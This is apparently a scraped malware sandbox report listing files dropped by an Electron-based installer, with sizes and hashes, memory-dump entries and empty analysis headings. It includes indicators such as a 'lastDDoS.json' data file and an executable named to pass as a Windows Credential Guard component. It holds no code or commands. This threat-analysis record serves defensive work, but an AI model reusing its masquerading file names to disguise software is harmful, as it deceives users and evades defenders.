C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\fr.pak

Filesize
622KB

MD5
651e4cb14c4f784d36d0a1715c52dcf3

SHA1
540f6090e3223ad8e6424a9db78305f2db9974bf

SHA256
6d547cbc3304627d14aeb138aebd40786c30a4192e071d80bcecdb77a13ac80a

SHA512
1fe93058ec434c06ef4aa1519333ebd831311971b06d7279ddc4d86dfa860bbd6ea6d127b2a07425c3e78bd6d41c11eb2a76cf25b20c6a7de74d1f0ceec87079

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\gu.pak

Filesize
1.2MB

MD5
6c949199eaaad8fcb12c38ec6c02d758

SHA1
ce4dbd5e6a37f25354ec6849f7008956ef3568ba

SHA256
966591a74e44c75c7f0114bb8e36b0e9f5502aebdc96c714c8a8f6d45bc863c8

SHA512
3344e0083969de6f4913893a14586b441f65cb5d45f913f1cea61b8d5abbdb3b1c18a48731870282174263c1f306ed6b99c279627bd269e89cd4e15dc3d88313

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\he.pak

Filesize
751KB

MD5
16562c59fba469e1dd2f3b0b87a64645

SHA1
9a6863205fca8ea6d09a98b8e8dab543ff6198a1

SHA256
64fa2e98a9056e23c3a934ff39fef81c306cec5844d56dda17ec6c25fcdb1b5a

SHA512
dbb6e1a5e52a005386007f88b53109037792bc7b65fb95ace3e8cc5ae3ebd8320c7e406381c375bf751a9265ace84e0bbe1301d4bf3aa79200ec789dc3b3bc0b

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\hi.pak

Filesize
1.3MB

MD5
6aa92c296ed09fe2aa94dc060b25774a

SHA1
7619ed3dc5b1e04c55b0ee7280ac2d0135eb9c80

SHA256
0c771c66db4f80a62912564944c4e239f8dac8381a06483ecab512e0d75744a1

SHA512
9255a4ffef7be07ceab5dd8f46365b9a52d621ae175c1022bb4685fe4f3ea63425f45aa9ef824b467b9c33c51a7104258e888e8ec15c88fea126bf0b5337ff14

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\hr.pak

Filesize
581KB

MD5
fda338824b4171b10dcc3395a549fa9f

SHA1
ea42c8b18228e0ca57b8ed7ed48e3a2aebe08486

SHA256
43f370368b322cd1236632c82aa0e231965dc58fdd497f8aeae6b40eef9ee611

SHA512
9115f805f51f45839e0a87cf44c1cce311cecaf717c0da7db3b6da85cea95f24638af29da43bc01056994b22049daa0387cd4371c13b8e5399fe8f4e38771d57

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\hu.pak

Filesize
625KB

MD5
7add28fbbba1ce87972f6433862dcbaa

SHA1
8b4b0053663c0b69beca59faca79854a89ab9c97

SHA256
dd86976d72f3cb644b90c1863e29e2f8616b09ac4acfe9301fb346fa0d87bd78

SHA512
efed0891b0202bae9396df54f141a73bb6ccadd7947330fd9e6a3a8911e9e037454238c4bd2bb9075af3218230c9e4e394f83a70878396911faa282d99fdd884

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\id.pak

Filesize
516KB

MD5
cfc848689a25f5e2e6ba9a06e09b6ee0

SHA1
35131e775d98a57ffcbd6a75e69f6f67437636c3

SHA256
ec1d7bbe064656dc53f70e3a612a582f5d5d0af5f0c2d6a783796cffa5bf7f57

SHA512
d5a027e35dd3846f5255b81eed36a3498ac9d809367692b2da216b5771c2d54fad35fc15c15705a2bbb4a7b35dd2245661882734998f9bc3ad8d62d2273b6577

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\it.pak

Filesize
567KB

MD5
6aa3bc3ee4999c324b82e50940e62c74

SHA1
10af8030fc2f875e133c9417e0221528160ad8b5

SHA256
73cc8422643a65753b2c3672c8f8331ee92c9bddc912576554e95b0986cf990d

SHA512
f039ef32002e55d09a4f567cc81fe2b3b329d517c985436a5da121ff0e6ac7e258b5d1fdda81e6c1578daf7078b91abcfb7da98cdba6693d4fbe7f28115e6971

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\ja.pak

Filesize
691KB

MD5
5a69547f56dc61e482dcda1ce704c5ac

SHA1
5b7bbc8e9b14d78f2105136afb7728050128c02e

SHA256
a286a5faf9021927ec09fd8cbf30ed14ad59c3baa36d29e5491ad27b957915e5

SHA512
2b9d020544201e2d0b0b44b0977fcbab858563969ce02be65689c5f5b780adc4560df523589293cd66f42903322ed61d781da093adfa44aa0681a28d97de4556

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\kn.pak

Filesize
1.4MB

MD5
52a0707a70b939bcd75b0838a5dc5357

SHA1
eb9e1350d9d217580b1939302d008dc07c3b781c

SHA256
b177eda102b1be8c53127e3bb47970a3c1e2032be24900d8a126c5f0f077ef3d

SHA512
d5fe69035338c4308f661fa0ac25c4a811a6014f6bd85ccc7ad947f76aecf76f67208512e1266e249ec067a5fb22fb74a3550b0f3aeb1bc50fadb3a9d3cc67e4

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\ko.pak

Filesize
585KB

MD5
4b563eb612d4fadc6bd8a4c918006ab1

SHA1
4b9e414af0c044c4487d1439d23ef11b0169d308

SHA256
e0d4461452607e0f4a619efe653ec9ec39f7d34a742ae98374b2bce0b821adc9

SHA512
b8c56d69fa41ad14f7197acab1ba987ebb06c5b15748e21cec27861721545e30fb20f76f2c3a752c8ea94cca1e6b4fab7fb0727b679a8fb8e94db2d5c028e7a6

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\lt.pak

Filesize
629KB

MD5
7cef6e31d76861db4d7d622fdd89e5aa

SHA1
31fa45c3b7666259d4d8a13518ece423a97edcca

SHA256
2f1e1c69da5cad8f47e45af0ac47cec90c20fe2897a43cb496c7feed1ec5d1ab

SHA512
df66a739f3a8da62a942b56b23f71a2b68469e87dc44eb8ce1a9a859a609f1db4bee2497defef06fa48e14cf461e61410668a5216459c94c79f4b69a3cf092f6

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\lv.pak

Filesize
628KB

MD5
00b517ce675a3089823708776c6f9302

SHA1
2bc24f150adaafd2604c5d95bbaaf8dc983d7da2

SHA256
0adedd1eaaf902feebb208220d9f21ae1b0175e74f6a966cd7ed226146d86ae8

SHA512
6c19a0d779185141fb050369f9fbfe60d0b838e55e2674e3f14a67e1a6970727e329656e458ca8516a41c97b20e67eb1789587af957129b3d32c94a3536ab12e

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\ml.pak

Filesize
1.4MB

MD5
d32a29a61e8afaba6b42d236257d9929

SHA1
9664f50ea7590a47c2eb8eb4a3e49be556d08f7a

SHA256
a59fd15c969ee8ffd7e72f5a2245c6a5a4fc048f7899fca489d78c8f6394ca1e

SHA512
2668976853b26b22859f8c20afaeb4d641845e94779b8994b49f240302420279e3f9a99666b8f551495b7d5a8c3c83609b7ecf276fabd8345cc8c787319ea3d2

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\mr.pak

Filesize
1.2MB

MD5
0e5b29b6ae74a1f94ca4f880f131a79f

SHA1
6ac5089ace05847480d2aeec89954124caa781aa

SHA256
25bf8e86f7c9e88f68d4c40c4f124c16f60daf22e7a87f55ba2c560a0f640bc9

SHA512
30717c0aef4458bbcf7472316727981829edada8be3003afd9d65cb01d4cf309f601b1c41539343d6239cb2e9157554c95cf966a4156458a2fd78d2464075c98

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\ms.pak

Filesize
541KB

MD5
6149507c3aa99c4012d9d7cfe4bc30c8

SHA1
51a2bb5cbae64f3877afc342ea0f43915702f8f4

SHA256
dd75481d67d9be36ecb2e421117395fbb75b7623164f13a09be1cf3ce76d588f

SHA512
71f8dc03618d46be7b036353526bf20a61e648ef50adeeec057d314e9a4536899c37ef691164bf9de9e10a3867749f8d3d6f4038e16c82cf6122e7ab4a1c7732

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\nb.pak

Filesize
525KB

MD5
2a0ec73d03d4d7fcec71ad66cc0d4b30

SHA1
bb8df6e11b02086726ecede97d5f729f4197323c

SHA256
d44ef5e644b1b8f7c056d5e20651515fcc8565befec575091735fb39c6d63554

SHA512
cdcb4e436270156e263d731ce243d821c5361b18b6d7b8259875c9d895301d478a87feb7cafc3376d09d18d27f32dc403fd2cbd034d68736cb968bbefebd642b

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\nl.pak

Filesize
543KB

MD5
e8b790166d701f63a60c3b322fcce234

SHA1
61ec318aa8030f7d29c3258126b156d1d3eefa2c

SHA256
3d73b0110e5832b6a7c7b7e64018368464ef8552d6a98592d0adbf713eb9755e

SHA512
4e4b299cb55cbb5906ff974bb5e5078d2018298b5ee6d9ca0e40aab8db542aaedc4bd7a5db242a2c5194bc90c07631f627043dcc1a9f2d095a28c3e35f212dd9

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\pl.pak

Filesize
604KB

MD5
8a4354163ff3b0978a568f781bdac289

SHA1
45de421f35af79adf962809cf8d0e6d2adbcb553

SHA256
2f6de0f9a46ae0b75beb67e09ffeee12483842a7cd6f2a2382ccbe36fbfc17e3

SHA512
5760f20228afe74e9ff2a916a168e8cc2d4a64d8e76065e61a7a60616a473c7dc3da4805125b270f179b7a0f291071e81d761d82eec3b130d552b57abd76c127

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\pt-BR.pak

Filesize
568KB

MD5
b1ab7d7aa67a7b61bfa9aebad0b812af

SHA1
95eff4be517c0a25c34578def10d48c77021de1a

SHA256
5bd503c413aaf8fa87fd47c341d437accc25397a50b082068bcf2f3bb4fb27c7

SHA512
8498fe7727771df3c1eb34560c1e25b0c30690c7c921104b4adcf04cc5753462bac513a60a5833cb6f57733201d4883605f8a4ec4a457f3ebc7c952090b1a9e1

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\pt-PT.pak

Filesize
571KB

MD5
cbe5e35f844f5f1400df3685cc847694

SHA1
e60cdb0a813a97c8548c878276bfae155350bb42

SHA256
6b9bd714d217d596183894ffed3174a617e1c8cfae292231d4b967183b589c6b

SHA512
96046c97436a3dbf5aac479b9eaa9dfdcfc81f1edcaee9cd65d59beb0ce6b6b42828e0d170aaef2ef1d68988f7916ac1dbac0d84218de83fedcca8592de4c1f1

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\ro.pak

Filesize
592KB

MD5
5db10edf772656c0808dd8da698334bf

SHA1
3caf7c9d5a3b44e06e0588daba698b6970ea06f5

SHA256
73b6a63352906d77196f38a1df937ec0770160fb7a93321867c7994ed3e7967b

SHA512
eb253b548c7f574943136764a23818f9dedea17ff42f92dc8591f4b7c297accdde9f6b2c0ad96f1fd0815c53940c0102a90c603f9f4d6d9c8fb053b559cc7a62

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\ru.pak

Filesize
972KB

MD5
e9af20a6226511cd535888846a2bb16f

SHA1
739a46269f334ecc291bae6777f0b7c8e271e4c0

SHA256
5db640c6c288d9fc79012a7670301a3bc463359c17ba200aedaa56260ef8d955

SHA512
7897c500718382f08d55f3cddd96d1451524b5c2b8febc65e1700a645598b622c819ec66e4a21c119f044faaa525a2abdddf66d0c9800af6ecea9ceb217a88bb

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\sk.pak

Filesize
611KB

MD5
b0bbb6661370d27b6600ebe98cadb9ac

SHA1
1139852da47048f15c16eb101dac86dfc8f652ba

SHA256
e0fe4130e668ac659d5334c5bc8cde70bba8742273b5965836860b5a8b1b016a

SHA512
c8eac323552f873ec088f77b8c46522387b0298b6d566cf8aa173fa9b2d66389068bb26e46044af2faa4224b39dc748164843b58b99e9dde093fcb32afb5fed0

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\sl.pak

Filesize
587KB

MD5
aa7c0f35b61a230d65e498daab67388c

SHA1
f60cb1c7128a1fb1cfd9aa029f96df36033777d0

SHA256
03afc83cdba98c08af169c8ae111aa916f3ee6d5a2fee4954ef35ecc063f2b21

SHA512
048d03c490f18d22f4900363f9c4abee037a2029f226c90806064ffedc85b07a1d86225b9c534311b08f588632a84221d7e4fa355e7b768cfdfd6102c5ffe705

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\sr.pak

Filesize
903KB

MD5
abdd9eb966d915c1896b31cba0b2656b

SHA1
cb0080e5f2c168cd0f3edc6ed6c47734ffd67790

SHA256
3913d3be5016ce873ac68af376d5fcf558bb5f5f29a9bc56df0099ba47e52486

SHA512
bcb258d6da766bb6f00dfdbb03bc878000d9cf28b2b707375ce52485db9c530a34d1528a1473f09b5765bc57abd847f191bde55646eb707443cd0e40509b70e1

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\sv.pak

Filesize
528KB

MD5
cc0806219798e3ade0437219457a37ab

SHA1
dd6ba47e14b7b0d08159fbca2409b013dc2e17de

SHA256
79a7260c8651ff3024e21f9263543bf4e9d5f3574e81cf96edf6388f8da85cd1

SHA512
df3da02bb2fecbbaf1ab80af8ef8b1a7ae9f6c7ed01f94c5a502720376924132c344dd716fc5b4ddc03733a6c3581ed8d8a577154c619ba85c527dc67f4a48c2

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\sw.pak

Filesize
557KB

MD5
a63ef2c4676dfbee98e29a84a7ad9d27

SHA1
2f0f4b33acf5e63f3159c62c74deaa9a361203f4

SHA256
7b8c51b247dea72d68cb0ef4292800c13209da6f859a9ad289c996582f19e65c

SHA512
cd65fd2c49d35757de648f21dec748fb4a1d13d2308552774fe9c859ad5748b21f5db449f8b380520f27dc868a3ebaafd58d4c45aba34033785777d342e17e6f

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\ta.pak

Filesize
1.4MB

MD5
aa06ead1200f01c9460399f0abe2d54f

SHA1
9b852c4691209c0ae9edf94a5dec4b902fec7b3e

SHA256
1946d903918c57836d2f898ef93cd1d575da1a464e358c399dfde73ea2ef057e

SHA512
6e556b962c16aee22695d93b62b308d95b0695873fb33d13a147b3d8b6791c9599daa6e3bf424a1897212a018ab36dd8c8214c2eb03457048c6931686be40e04

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\te.pak

Filesize
1.3MB

MD5
a4accc25dd8a00bc57df4fca12e41295

SHA1
9466888034c9e6ecf4113ddda63d363ed20e3156

SHA256
157d646525f6a9ac267466631671e65e9b5c3e55b008b564186e64c6853e52aa

SHA512
f19116655b6c2bb5c572b45f1d712fa1f9d57d9e8963fb3d654ed3781bd34a4e937b590bcc1119a318e28632da12a0ef8b36f6426791de833898cf7f30189567

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\th.pak

Filesize
1.1MB

MD5
b18e4574db917920eccfb8e6900d0662

SHA1
554206b9e639135074b0946fb28b6ffe2d934159

SHA256
c14fa1bb30c880216d6cfea6fb738235cf72a3fe8be919c3d61321d5a5883211

SHA512
5f427f9ed85bb368b45bafd523c634e18596e430fdc380563878d2ca897cf2580d0405f7c0d8e10abba389bb7125978a81d335263bb777e0ee0bfe3d47c8c65f

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\tr.pak

Filesize
567KB

MD5
82c6a14ba1b28f947bee67bc3feab091

SHA1
25023b22eaed29d0817ec95d5bcb4ad3d724f5ad

SHA256
099507f6f2a2c98ecce275f8ad956eeeeaada65b7788356301af04a0cd7d431e

SHA512
988a9275b7a05d100ca9242dd05969d2363a42938d47db37a1f62ec1874e96b640c14b272f1829ab5c6e0d2763c22fbf0af99894d4d9d32726925eabbc02c05e

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\uk.pak

Filesize
973KB

MD5
ec3aa18a9d9c989b1025dddb0fa52b55

SHA1
ab3b0834cabee34bc2f9fd04104b10e5f9c102ca

SHA256
ee67744c26e0c69fbed8b102add339070aabc70c2d8ca9ea037c6c9d23b66d3b

SHA512
90d40424b050c6c7ace113e85b0b0a58472967c50a14fbc6637cd3b2db8ff3f521cc94dcd256fa017684256e8a9c19b158aaa57f6d3094fab970578d3b1c6847

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\ur.pak

Filesize
850KB

MD5
cb228cc41981e8bcbd2768da20026912

SHA1
c55bb999c4c1fbee5e38b6c986fbce2b128f3880

SHA256
a7d825fe348700528800ef9ea7940ee8027373e9c05a4e51e526d0a213c05429

SHA512
85308806be53494683f32520e181dd9c8c9abac0b92bc439d4e30eef22d4af993794a9719dd9a4eeed0bbcaf61c0e2342e7d4ed5d30b504572bd2bc269100e2e

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\vi.pak

Filesize
673KB

MD5
045241a62232bae57f1d57c6c3af7c55

SHA1
5c2a1a677a8bdfa20f3577335131bd4b89a46355

SHA256
56758c918bbfe6a9d5b20e8b4a7248bdf2d43e0bf5f98e85a9892ff03dbc2d99

SHA512
8e30af44a53a36a194da16a756dff0f90efbef164277bdcde683c89a3cdc04ae5e1298475e8a098d19dab73eb0a71637f676d49d237c5480e1f7aca1765166bb

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\zh-CN.pak

Filesize
484KB

MD5
798bc7d8b63906c5b1c67e89ad17dc58

SHA1
b39c86d6d3fd9d8b8da90d86f827a0c0803fba8c

SHA256
1c05280d8dcdfe99619695b76dd054292a90c1a93a5cfb92cdc4a5b0068a7092

SHA512
7a21af438823d562b889d7c99f639421e01f0536e95f3206dd53d2c8ded82b7a4ab74bb9b4262b2fa27e50efd8dd7719827ad2e6b6d4c2e0d0811930027ed982

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\zh-TW.pak

Filesize
479KB

MD5
0be25a48eecee48f428fe56fbfa683fd

SHA1
94c0e8c99beb592ebab9ea5b8758aa414bbe7048

SHA256
a5e276bdfe4cf87832eee153596ccde9cf9193e81f29a4295c8335525da64295

SHA512
423033e67654820ab9f9773f45f70908511aeb8228c59126757885e0bbe0bd960257324d405d27526d61b541b1e6323de16bef29d4dcb94f39fd5e92fa811cc8

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\resources.pak

Filesize
5.5MB

MD5
6772b597bf68622d934f207570e771b1

SHA1
f2a80fbfa034cb1fa07dc9aa37bf9f5b2280ff13

SHA256
268de4d99ab7c4f4ee32c8e8cb2b058a2c8d0d839f468ae8e8c0605feaa736ea

SHA512
a2be67df09951c9ef9200dcccbdff13736921522191f0001da539d5c7f26b5b26a6b810be6963908f216768c98d21e52486c7e00538cc0730e8c78e78811b85b

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\resources\app-update.yml

Filesize
113B

MD5
270dc5ce6cb4ef804e12e8c2d9c92eb7

SHA1
40021a836e8fb1eb964a60b0ac0c5edcaffb7223

SHA256
64b3860301d5554e3b0da2951b5f846649d126c543deece251514e887ba9a91e

SHA512
ccdcfc4a7d9b850e6fb2b3f8a3ac1b963c064b7158823f738e6d5f94a39d6cde54435b007e6f92177f2a953587c472b41b4d9e16e93557865c57f8da66887b47

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\resources\app.asar

Filesize
33KB

MD5
f5ebdc305a09768c11eb23e3bdf53ff9

SHA1
7aedf7983b899bf9b48ee66046af318164e5b59b

SHA256
7c22ba20767b0cead1f4a94d0125cd2c7c1e3525a304e68cda4dd94e63f965e9

SHA512
6ea22fcf14e11f1b05410c2be9b1b44e5c409d8e3b87f492fdd7730b1130c6af3fc8c753a4d04dad218a9a2af4248e1e9cc7a12d487a9307ceb37a18721d1276

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\resources\data\lastDDoS.json

Filesize
135B

MD5
9b0864a0b6ad8c54e7b0b1bd421f67c6

SHA1
7adcda01ef78c4d20346ebe422434a97becfae1a

SHA256
4a6b0b62c126a40dd53877b49f09b81382b71cf8957e11e19ee7e3c09e193379

SHA512
ac46f857754cd6b6a532c9119f41d41103e7e1fa7fb5d622bc2f39e8bafaa82c74d5609808fad2451569444749d5c2428632ebdcc1881ce251e9222152770f71

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\resources\elevate.exe

Filesize
105KB

MD5
792b92c8ad13c46f27c7ced0810694df

SHA1
d8d449b92de20a57df722df46435ba4553ecc802

SHA256
9b1fbf0c11c520ae714af8aa9af12cfd48503eedecd7398d8992ee94d1b4dc37

SHA512
6c247254dc18ed81213a978cce2e321d6692848c64307097d2c43432a42f4f4f6d3cf22fb92610dfa8b7b16a5f1d94e9017cf64f88f2d08e79c0fe71a9121e40

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\resources\icon.ico

Filesize
50KB

MD5
bfc72214e829aac039161a75ed912c12

SHA1
5d3193338599f419c54eb882e26d6eb39dea42da

SHA256
a4a4e95158118194bdb6ba51d2327a3b4efb7ec9e75e379c28860e85df4a19e8

SHA512
127c2d05bc84f4b4b706f3c3d1af56feb454b13ce9f75c38670ff584166e3717f1991636d258f1651ac07711fe84dd07ed588fc0ef720ba17394a81c10128007

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\snapshot_blob.bin

Filesize
309KB

MD5
c8950b01f336b05609976546b1a007e6

SHA1
f04d0b0369007bbe6a7fe129b31b19dd1822f32f

SHA256
9b3a75a713e41bc73f219858fcac8e3031ba22732285ed3a64dc48074c725cc2

SHA512
b7db4277290e849a52ad5d31ff65ab5d2b75c2125d67eeee02b09e4e7001aa46d10bf89429c65695c7560d1c45b898c20275eb9e36cd8b259707ffb8b298f103

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\v8_context_snapshot.bin

Filesize
671KB

MD5
bf2976da5086b48d74eb36f56f5deb83

SHA1
5aa7669a3e2166fdd7534241a0e7a9bd3ff5748b

SHA256
9f1614328e18becb4adf96de98bc91ce2a69274abe6621327cc0fc8503a1ab20

SHA512
c44deeb96597b4498604ecf2060ee0520e84a00308ca1f47ffdf8e3ed3e676b27b622ff7dbd4b6f1a14ce60b05cc2ad9b8d7562bb362c1b12a885ea7fbe50e0a

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\vk_swiftshader.dll

Filesize
5.3MB

MD5
6720d5dcda6737eb0cc5a352a47414dc

SHA1
03d9a8e350f485dd955f7dee06bfc46371753032

SHA256
d8f36b089d83157abc271d9fe125919c3237943fa9789a511ac5ef1d41e2e3af

SHA512
de5ade6ce14b14957fce669c4181af1e6a6f540798d1c6720b56ff281f813a6ce4446bde33a8f175d2484e07f4911f93a773cac1d372cbe3b26be634b3fa1686

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\vk_swiftshader_icd.json

Filesize
106B

MD5
8642dd3a87e2de6e991fae08458e302b

SHA1
9c06735c31cec00600fd763a92f8112d085bd12a

SHA256
32d83ff113fef532a9f97e0d2831f8656628ab1c99e9060f0332b1532839afd9

SHA512
f5d37d1b45b006161e4cefeebba1e33af879a3a51d16ee3ff8c3968c0c36bbafae379bf9124c13310b77774c9cbb4fa53114e83f5b48b5314132736e5bb4496f

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\vulkan-1.dll

Filesize
874KB

MD5
b6d3af84e8be0027741aa6077768789e

SHA1
e525f2434dc56f79644695f5841e91dd5f80eec4

SHA256
376ff6892ec7b406acd8c455ac82f8541e59e3757195488ff04cd9f20d554562

SHA512
f03b8792a740679c8a1a8ce0615b7876cc811130085f3ffb42182e0cb846519603804da97fc93a8abebee01e03fd257df289c54575da8faaad018f4f4bae606a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0KOCIK20G6X01GLORR7Q.temp

Filesize
7KB

MD5
a0a29b82ea39f1cb4585534ce3bb4a62

SHA1
8fb6c9b539de6e2bc845a0307aa8f85646bc94fd

SHA256
3da1f5deded636a5ff39f1b91469643fae4a4bcca01a21f9f371e51b9bfbeebf

SHA512
c01c241f15179c81efb9c50019bc7cce8a41f63c4a58e2e33163c08388675fee72305d8bf87f64a271611505da4baaae2097c3ab2ecbd4b8929603480680e93f

Download Submit
C:\Windows\Credential Guard & VBS Key Isolation.exe

Filesize
55KB

MD5
dac20ddb2cfb3cb89ce5bcd907c796df

SHA1
84ec40d9a683ed62a25f8e1e570b0a2ee3987af0

SHA256
9a727d5cfc4c67cb0d3c0f8195087042fd04b83bb29cbe0c0439a4094a2adfc7

SHA512
5a3199f76bc18eb20a1e9e7d0bdbadbff3deaa06ec00b3aee33360f1497cc22ae0bc1a125aeaadcef1647c5f03cb386bfbc62375ca5e70ac57c01168043c8762

Download Submit
\Users\Admin\AppData\Local\Temp\nso84BB.tmp\SpiderBanner.dll

Filesize
9KB

MD5
17309e33b596ba3a5693b4d3e85cf8d7

SHA1
7d361836cf53df42021c7f2b148aec9458818c01

SHA256
996a259e53ca18b89ec36d038c40148957c978c0fd600a268497d4c92f882a93

SHA512
1abac3ce4f2d5e4a635162e16cf9125e059ba1539f70086c2d71cd00d41a6e2a54d468e6f37792e55a822d7082fb388b8dfecc79b59226bbb047b7d28d44d298

Download Submit
\Users\Admin\AppData\Local\Temp\nso84BB.tmp\StdUtils.dll

Filesize
100KB

MD5
c6a6e03f77c313b267498515488c5740

SHA1
3d49fc2784b9450962ed6b82b46e9c3c957d7c15

SHA256
b72e9013a6204e9f01076dc38dabbf30870d44dfc66962adbf73619d4331601e

SHA512
9870c5879f7b72836805088079ad5bbafcb59fc3d9127f2160d4ec3d6e88d3cc8ebe5a9f5d20a4720fe6407c1336ef10f33b2b9621bc587e930d4cbacf337803

Download Submit
\Users\Admin\AppData\Local\Temp\nso84BB.tmp\System.dll

Filesize
12KB

MD5
0d7ad4f45dc6f5aa87f606d0331c6901

SHA1
48df0911f0484cbe2a8cdd5362140b63c41ee457

SHA256
3eb38ae99653a7dbc724132ee240f6e5c4af4bfe7c01d31d23faf373f9f2eaca

SHA512
c07de7308cb54205e8bd703001a7fe4fd7796c9ac1b4bb330c77c872bf712b093645f40b80ce7127531fe6746a5b66e18ea073ab6a644934abed9bb64126fea9

Download Submit
\Users\Admin\AppData\Local\Temp\nso84BB.tmp\WinShell.dll

Filesize
3KB

MD5
1cc7c37b7e0c8cd8bf04b6cc283e1e56

SHA1
0b9519763be6625bd5abce175dcc59c96d100d4c

SHA256
9be85b986ea66a6997dde658abe82b3147ed2a1a3dcb784bb5176f41d22815a6

SHA512
7acf7f8e68aa6066b59ca9f2ae2e67997e6b347bc08eb788d2a119b3295c844b5b9606757168e8d2fbd61c2cda367bf80e9e48c9a52c28d5a7a00464bfd2048f

Download Submit
\Users\Admin\AppData\Local\Temp\nso84BB.tmp\nsExec.dll

Filesize
6KB

MD5
ec0504e6b8a11d5aad43b296beeb84b2

SHA1
91b5ce085130c8c7194d66b2439ec9e1c206497c

SHA256
5d9ceb1ce5f35aea5f9e5a0c0edeeec04dfefe0c77890c80c70e98209b58b962

SHA512
3f918f1b47e8a919cbe51eb17dc30acc8cfc18e743a1bae5b787d0db7d26038dc1210be98bf5ba3be8d6ed896dbbd7ac3d13e66454a98b2a38c7e69dad30bb57

Download Submit
\Users\Admin\AppData\Local\Temp\nso84BB.tmp\nsis7z.dll

Filesize
424KB

MD5
80e44ce4895304c6a3a831310fbf8cd0

SHA1
36bd49ae21c460be5753a904b4501f1abca53508

SHA256
b393f05e8ff919ef071181050e1873c9a776e1a0ae8329aefff7007d0cadf592

SHA512
c8ba7b1f9113ead23e993e74a48c4427ae3562c1f6d9910b2bbe6806c9107cf7d94bc7d204613e4743d0cd869e00dafd4fb54aad1e8adb69c553f3b9e5bc64df

Download Submit
memory/1728-62-0x000000001B680000-0x000000001B962000-memory.dmp

Filesize
2.9MB

Download
memory/1728-65-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download
memory/2436-7-0x0000000000A60000-0x0000000000A74000-memory.dmp

Filesize
80KB

Download
memory/2696-609-0x0000000003C30000-0x0000000003C32000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads